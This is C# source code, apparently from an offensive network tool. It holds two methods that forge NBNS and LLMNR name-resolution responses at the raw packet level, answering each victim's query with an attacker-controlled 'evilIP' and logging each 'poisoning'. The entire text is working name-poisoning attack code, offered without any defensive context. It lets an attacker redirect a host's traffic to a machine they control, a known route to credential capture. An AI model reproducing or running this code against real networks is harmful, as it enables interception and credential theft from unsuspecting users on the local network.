/// <summary> /// NBNS spoof, responds with an answer to a question but with EvilIP as the address /// </summary> /// <param name="inPacket"></param> public static void doNbnsSpoof(byte[] inPacket) { // read the query name, 32 bytes from questionstart String nameString = ""; int nameLength = 0; byte[] bufTest = EtherField.GetField(inPacket, EtherField.NBNSQuestionStart); for (int i = 0; i < 32; i += 2) { // decode the name int nibbleUpper = bufTest[i + 1] - 0x41; int nibbleLower = bufTest[i + 2] - 0x41; nameString += Convert.ToChar(nibbleUpper << 4 | nibbleLower); nameLength = i; } byte[] srcMac = EtherField.GetField(inPacket, EtherField.SrcMac); byte[] dstMac = EtherField.GetField(inPacket, EtherField.DstMac); byte[] transId = EtherField.GetField(inPacket, EtherField.NBNSTransId); byte[] dstIP = EtherField.GetField(inPacket, EtherField.IPSrc); Console.WriteLine("> Poisoning NBNS response for " + nameString + " for client: " + PrettyIp(dstIP)); // construct our data, ether frame -> IP -> udp -> nbns List <byte> responsePacket = GetEthernetFrame(srcMac, dstMac); responsePacket.AddRange(GetIPPacket(dstIP)); responsePacket.AddRange(GetUDPHeader(137, 137)); //now add the NBNS response //transction id responsePacket.Add(transId[0]); responsePacket.Add(transId[1]); //flags responsePacket.Add((byte)0x85); responsePacket.Add((byte)0x00); //questions responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); //answers responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x01); //auth rr responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); //additional rr responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); //original query name byte[] originalName = EtherField.GetField(buf, EtherField.NBNSQuestionStart); foreach (byte b in originalName) { responsePacket.Add(b); } responsePacket.Add(0x00); //original type responsePacket.Add(inPacket[88]); responsePacket.Add(inPacket[89]); // class responsePacket.Add(inPacket[90]); responsePacket.Add(inPacket[91]); //ttl responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); responsePacket.Add((byte)0xe0); //data length responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x06); //flags bnode? responsePacket.Add((byte)0x00); responsePacket.Add((byte)0x00); // evil response address foreach (String c in evilIP.Split('.')) { int v = Convert.ToInt32(c); byte b = Convert.ToByte(v); responsePacket.Add(b); } //update the IP length field (16 and 17) int len = responsePacket.Count - 14; byte lenUpper = (byte)(len >> 8); byte lenLower = (byte)len; responsePacket[16] = lenUpper; responsePacket[17] = lenLower; //and udp.. len = responsePacket.Count - 34; lenUpper = (byte)(len >> 8); lenLower = (byte)len; responsePacket[38] = lenUpper; responsePacket[39] = lenLower; //update checksum responsePacket = UpdateIPChecksum(responsePacket); IAsyncResult res2; WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset); AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback); object state2 = new int(); res2 = Tap.BeginWrite(responsePacket.ToArray(), 0, responsePacket.Count, writeCallback, state2); WaitObject2.WaitOne(); }
/// <summary> /// Spoof an llmnr response, sends back a forged packet aimed at the sender with the /// EvilIP as the response /// </summary> /// <param name="inPacket"></param> public static void doLLMNRSpoof(byte[] inPacket) { int nameLen = EtherField.GetField(inPacket, EtherField.LLMNRNameLength)[0]; String name = System.Text.Encoding.Default.GetString(buf.Skip(EtherField.LLMNRNameBytes.offset).Take(nameLen).ToArray()); byte[] srcMac = EtherField.GetField(inPacket, EtherField.SrcMac); byte[] dstMac = EtherField.GetField(inPacket, EtherField.DstMac); byte[] dstIP = EtherField.GetField(inPacket, EtherField.IPSrc); byte[] srcPort = EtherField.GetField(inPacket, EtherField.UDPSrcPort); int srcPortInt = ((int)srcPort[0] << 8) | (int)srcPort[1]; Console.WriteLine("> Poisoning LLMNR request for " + name + " from IP: " + PrettyIp(dstIP)); List <byte> responsePacket = GetEthernetFrame(srcMac, dstMac); responsePacket.AddRange(GetIPPacket(dstIP)); responsePacket.AddRange(GetUDPHeader(5355, srcPortInt)); responsePacket.AddRange(EtherField.GetField(inPacket, EtherField.LLMNRTransId)); //tid responsePacket.AddRange(new byte[] { 0x80, 0x00 }); //flags // q |rr |auth | otherrr responsePacket.AddRange(new byte[] { 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 }); //add original query here byte[] originalQuery = inPacket.Skip(54).Take(nameLen + 2 + 2 + 2).ToArray(); responsePacket.AddRange(originalQuery); //answers responsePacket.Add((byte)name.Length); responsePacket.AddRange(inPacket.Skip(EtherField.LLMNRNameBytes.offset).Take(nameLen).ToArray()); responsePacket.Add(0x00); //answer types (A record, Hostname) responsePacket.AddRange(new byte[] { 0x00, 0x01, 0x00, 0x01 }); //ttl responsePacket.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x1e }); //data responsePacket.AddRange(new byte[] { 0x00, 0x04 }); // fake address foreach (String c in evilIP.Split('.')) { int v = Convert.ToInt32(c); byte b = Convert.ToByte(v); responsePacket.Add(b); } //update the IP length field (16 and 17) int len = responsePacket.Count - 14; byte lenUpper = (byte)(len >> 8); byte lenLower = (byte)len; responsePacket[16] = lenUpper; responsePacket[17] = lenLower; //and udp.. len = responsePacket.Count - 34; lenUpper = (byte)(len >> 8); lenLower = (byte)len; responsePacket[38] = lenUpper; responsePacket[39] = lenLower; // update the IP checksum so windows doesnt drop the packet responsePacket = UpdateIPChecksum(responsePacket); // send it! IAsyncResult res2; WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset); AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback); object state2 = new int(); res2 = Tap.BeginWrite(responsePacket.ToArray(), 0, responsePacket.Count, writeCallback, state2); WaitObject2.WaitOne(); }